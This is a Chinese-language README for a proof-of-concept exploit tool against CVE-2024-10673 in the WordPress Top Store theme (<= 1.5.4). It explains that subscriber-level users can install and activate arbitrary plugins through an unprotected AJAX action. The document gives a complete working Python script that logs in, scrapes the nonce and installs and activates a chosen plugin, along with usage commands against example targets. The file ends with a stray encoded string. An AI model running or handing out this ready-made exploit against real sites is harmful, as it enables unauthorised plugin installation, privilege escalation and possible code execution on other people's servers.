CVE-2024-10673: WordPress Top Store 主题插件安装利用工具
本项目是一个针对 WordPress Top Store 主题 (<= 1.5.4) 中存在的 CVE-2024-10673 漏洞的概念验证与利用工具。该漏洞允许任何拥有订阅者及以上权限的认证用户,通过未受保护的AJAX请求安装并激活任意插件,从而可能导致远程代码执行和权限提升等严重后果。
功能特性
- 自动化漏洞利用:脚本自动化完成登录、获取Nonce、安装和激活插件的全过程。
- 动态Nonce提取 :自动从目标页面的JavaScript中提取有效的
ajax_nonce,无需手动干预。 - 灵活的插件选择 :支持用户通过命令行参数指定要安装和激活的插件(默认安装
hunk-companion)。 - 结构化输出:以JSON格式输出关键步骤的执行结果,便于日志记录和集成到其他自动化流程。
- 错误处理:对登录失败、Nonce提取失败、插件安装失败等常见错误进行了处理,保证脚本的健壮性。
安装指南
系统要求
- Python 3.x
- pip Python包管理器
依赖项
requests:用于发送HTTP请求
安装步骤
-
克隆或下载项目 :将本项目代码保存到本地,例如文件名为
exploit.py。 -
安装依赖库 :
bashpip install requests
使用说明
基础使用示例
以下命令演示了如何利用漏洞,在目标站点上以用户admin的身份安装并激活默认插件hunk-companion:
bash
python exploit.py -u http://192.168.1.100/wordpress -un admin -p password123
典型使用场景
场景一:安装并激活指定插件
如果你希望安装并激活一个特定的插件(例如woocommerce),可以使用-pl参数:
bash
python exploit.py -u http://192.168.1.100/wordpress -un admin -p password123 -pl woocommerce
API 概览 (命令行参数)
该工具通过命令行参数进行控制:
| 参数 (短) | 参数 (长) | 类型 | 必填 | 默认值 | 描述 |
|---|---|---|---|---|---|
-h |
--help |
- | 否 | - | 显示帮助信息并退出。 |
-u |
--url |
string | 是 | - | 目标WordPress站点的URL。 |
-un |
--username |
string | 是 | - | WordPress用户名。 |
-p |
--password |
string | 是 | - | WordPress密码。 |
-pl |
--plugin |
string | 否 | hunk-companion |
要安装和激活的插件slug。 |
核心代码
以下是工具的核心逻辑,展示了漏洞利用的三个主要步骤:登录、提取Nonce、安装并激活插件。
python
import requests
import argparse
import re
import json
# 作者: Nxploit | Khaled Alenazi
# 全局会话,用于维持登录状态
session = requests.Session()
# 忽略SSL证书验证(仅用于测试环境)
session.verify = False
requests.packages.urllib3.disable_warnings()
def login(url, username, password):
"""步骤1: 登录WordPress后台"""
login_url = f"{url}/wp-login.php"
login_data = {
"log": username,
"pwd": password,
"rememberme": "forever",
"wp-submit": "Log In"
}
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
}
response = session.post(login_url, data=login_data, headers=headers, allow_redirects=True)
# 检查登录是否成功(通过cookie判断)
if any("wordpress_logged_in" in cookie.name for cookie in session.cookies):
return {"status": "success", "message": "Logged in successfully"}
else:
return {"status": "error", "message": "Login failed. Check credentials."}
def fetch_nonce(url):
"""步骤2: 从主题设置页面提取AJAX nonce"""
nonce_page_url = f"{url}/wp-admin/themes.php?page=thunk_started"
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
}
nonce_response = session.get(nonce_page_url, headers=headers)
# 使用正则表达式从JavaScript代码中提取nonce
nonce_match = re.search(r'var _wpUpdatesSettings = \{"ajax_nonce":"(.*?)"\};', nonce_response.text)
if nonce_match:
return {"status": "success", "message": "Nonce extracted", "nonce": nonce_match.group(1)}
else:
return {"status": "error", "message": "Failed to extract nonce"}
def install_and_activate_plugin(url, nonce, plugin_slug):
"""步骤3: 使用漏洞安装并激活指定的插件"""
ajax_url = f"{url}/wp-admin/admin-ajax.php"
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest"
}
# 3.1 安装插件
install_data = {
"action": "install-plugin",
"slug": plugin_slug,
"_ajax_nonce": nonce,
}
print(json.dumps({"Installing plugin": f"{plugin_slug}..."}))
install_response = session.post(ajax_url, data=install_data, headers=headers)
if install_response.status_code == 200:
install_result = install_response.json()
if install_result.get('success'):
print(json.dumps({"Plugin installed successfully": plugin_slug}))
else:
print(json.dumps({"error": "Installation failed", "details": install_result}))
return False
else:
print(json.dumps({"error": f"HTTP {install_response.status_code} during installation"}))
return False
# 3.2 激活插件
activate_data = {
"action": "activate-plugin",
"plugin": f"{plugin_slug}/{plugin_slug}.php",
"_ajax_nonce": nonce,
}
print(json.dumps({"Activating plugin": f"{plugin_slug}..."}))
activate_response = session.post(ajax_url, data=activate_data, headers=headers)
if activate_response.status_code == 200:
activate_result = activate_response.json()
if activate_result.get('success'):
print(json.dumps({"Plugin activated successfully": plugin_slug}))
return True
else:
print(json.dumps({"error": "Activation failed", "details": activate_result}))
return False
else:
print(json.dumps({"error": f"HTTP {activate_response.status_code} during activation"}))
return False
# 主程序入口
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Exploit CVE-2024-10673 - WordPress Plugin Installation & Activation')
parser.add_argument('-u', '--url', required=True, help='Target WordPress URL')
parser.add_argument('-un', '--username', required=True, help='WordPress Username')
parser.add_argument('-p', '--password', required=True, help='WordPress Password')
parser.add_argument('-pl', '--plugin', default='hunk-companion', help='Plugin slug to install and activate')
args = parser.parse_args()
# 执行攻击链
login_result = login(args.url, args.username, args.password)
print(json.dumps(login_result))
if login_result['status'] == 'error':
exit()
nonce_result = fetch_nonce(args.url)
print(json.dumps({"Fetching nonce value...": nonce_result['message']}))
if nonce_result['status'] == 'error':
exit()
print(json.dumps({"Nonce extracted": nonce_result['nonce']}))
if install_and_activate_plugin(args.url, nonce_result['nonce'], args.plugin):
print(json.dumps({"Exploit completed successfully!"}))
else:
print(json.dumps({"Exploit failed!"}))
6HFtX5dABrKlqXeO5PUv/6RmbsAYeSh70SEvTFGbDPg=